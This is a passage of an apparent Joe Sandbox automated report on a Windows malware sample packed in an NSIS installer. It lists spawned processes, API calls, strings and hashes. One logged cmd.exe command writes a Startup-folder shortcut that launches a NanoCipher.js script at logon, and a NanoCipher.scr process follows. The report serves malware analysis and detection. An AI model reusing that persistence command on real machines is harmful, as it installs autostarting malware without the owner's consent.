Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x590000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:37:41
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url" & echo URL="C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url" & exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:37:41
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:37:54
Start date:	31/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js"
Imagebase:	0x7ff7b2ef0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:37:54
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr" "C:\Users\user\AppData\Local\NanoSec Cryptographics\o"
Imagebase:	0x700000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.6%
Total number of Nodes:	1524
Total number of Limit Nodes:	36

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(Sleep(4921),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

@rD, xrefs: 004053D7
{, xrefs: 00405352
New install of "%s" to "%s", xrefs: 00405182

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
OleUninitialize.OLE32(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

NSIS Error, xrefs: 004038E2
/D=, xrefs: 004039A6
SeShutdownPrivilege, xrefs: 00403C16
NCRC, xrefs: 0040397C
1C, xrefs: 00403B56
_?=, xrefs: 00403A64
\Temp, xrefs: 00403A1B
~nsu.tmp, xrefs: 00403AF7
Error launching installer, xrefs: 00403A7D

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename on reboot: %s, xrefs: 00401943
CreateDirectory: "%s" created, xrefs: 00401849
Sleep(%d), xrefs: 0040169D
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
SetFileAttributes: "%s":%08X, xrefs: 0040177B
detailprint: %s, xrefs: 00401679
Call: %d, xrefs: 0040165A
Rename failed: %s, xrefs: 0040194B
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
CreateDirectory: "%s" (%d), xrefs: 004017BF
BringToFront, xrefs: 004016BD
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
Rename: %s, xrefs: 004018F8
Jump: %d, xrefs: 00401602
Aborting: "%s", xrefs: 0040161D
SetFileAttributes failed., xrefs: 004017A1

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

@%F, xrefs: 004059F6
RichEd32, xrefs: 00405BA8
_Nb, xrefs: 00405AD1
RichEdit20A, xrefs: 00405BB6, 00405BBB
RichEd20, xrefs: 00405B9D
.DEFAULT\Control Panel\International, xrefs: 00405999
RichEdit, xrefs: 00405BC4
@rD, xrefs: 00405965
B%F, xrefs: 00405A1F
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
.exe, xrefs: 00405A3D

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(Sleep(4921),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,141,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,141,141,00000000,00000000,141,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: error creating "%s", xrefs: 00401AF0
File: error, user retry, xrefs: 00401B40
File: error, user cancel, xrefs: 00401B93
File: error, user abort, xrefs: 00401B53
141, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: wrote %d to "%s", xrefs: 00401BD0

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
